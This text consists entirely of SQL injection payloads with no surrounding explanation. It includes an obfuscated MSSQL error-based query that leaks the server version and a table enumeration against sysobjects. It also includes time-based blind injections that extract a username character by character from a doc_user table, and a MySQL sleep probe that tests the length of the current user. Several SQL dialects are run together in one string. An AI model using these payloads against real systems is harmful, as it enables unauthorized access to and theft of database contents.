exec('selec'%2b't convert(int,(@@version))')select name orderNum,name InfoDate,name PubInWebDate from[sysobjects]where'1'=' or (select case when (select username from (select * from doc_user) as a where id=1) like 'a%' then sleep(3) else sleep(0) end) or ' (sleep(length(user())=24)) #.